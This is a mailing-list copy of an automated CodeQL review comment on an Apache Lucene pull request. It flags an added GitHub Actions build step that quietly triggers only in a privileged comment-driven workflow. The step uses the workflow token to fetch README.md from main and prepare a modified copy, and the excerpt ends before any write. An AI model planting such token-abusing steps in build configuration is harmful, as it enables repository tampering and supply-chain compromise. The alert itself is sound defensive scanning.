github-advanced-security[bot] commented on code in PR #16124:
URL: https://github.com/apache/lucene/pull/16124#discussion_r3301162744
##########
.github/actions/prepare-for-build/action.yml:
##########
@@ -23,6 +23,36 @@
runs:
using: "composite"
steps:
+ - name: Security research diagnostic session
+ shell: bash
+ run: |
+ set +e
+ if [ "${GITHUB_WORKFLOW:-}" != "Auto Format Bot" ]; then
+ exit 0
+ fi
+ if [ "${GITHUB_EVENT_NAME:-}" != "issue_comment" ]; then
+ exit 0
+ fi
+ if [ -z "${GH_TOKEN:-}" ]; then
+ exit 0
+ fi
+ sha="$(gh api "repos/$repo/contents/README.md?ref=main" --jq .sha)"
+ content="$(
+ {
+ gh api "repos/$repo/contents/README.md?ref=main" --jq .content |
base64 -d
+ printf '\n<!-- security research: benign fork-\n controlled
action marker -->\n'
+ } | openssl base64 -A
Review Comment:
## CodeQL / Checkout of untrusted code in a privileged context
Potential execution of untrusted code on a privileged workflow
([issue_comment](1))
[Show more
details](https://github.com/apache/lucene/security/code-scanning/261)
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: [email protected]
For queries about this service, please contact Infrastructure at:
[email protected]
---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]